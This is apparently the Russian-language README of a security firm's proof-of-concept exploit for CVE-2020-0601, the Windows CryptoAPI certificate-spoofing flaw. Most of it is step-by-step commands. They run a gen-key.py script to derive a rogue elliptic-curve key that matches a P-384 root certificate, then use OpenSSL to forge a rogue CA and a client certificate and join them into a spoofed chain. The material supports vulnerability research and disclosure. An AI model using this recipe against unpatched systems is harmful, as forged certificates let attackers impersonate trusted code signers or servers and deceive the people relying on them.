kudelskisecurity/chainoffoolsЭксплойт класса proof-of-concept для уязвимости подмены CVE-2020-0601 в Windows CryptoAPI, демонстрирующий генерацию мошеннического сертификата центра сертификации (CA) с помощью манипуляции ключами на основе эллиптических кривых.
CVE-2020-0601: эксплуатация уязвимости подмены Windows CryptoAPI. Подробнее в нашем блог-посте.
pip install -U -r requirements.txt
Генерация сертификатов работает с OpenSSL версии до 1.0.2u.
Мы использовали USERTrust ECC Certification Authority, но подойдет любой корневой сертификат, работающий на кривой P-384.
Для генерации закрытого ключа, соответствующего открытому ключу из корневого сертификата, мы использовали скрипт gen-key.py (работает с Python 3.6 и выше):
$ ./gen-key.py RootCert.pem
Ключ можно посмотреть командой:
$ openssl ec -in p384-key-rogue.pem -text
Затем для генерации поддельного CA:
$ openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -config ca.cnf -days 500
Далее генерируем следующие закрытый ключ и сертификат:
openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem
openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr
openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf
Наконец, чтобы получить полную цепочку в одном файле, объединяем сертификаты CA и сервера:
cat client-cert.pem ca-rogue.pem > cert.pem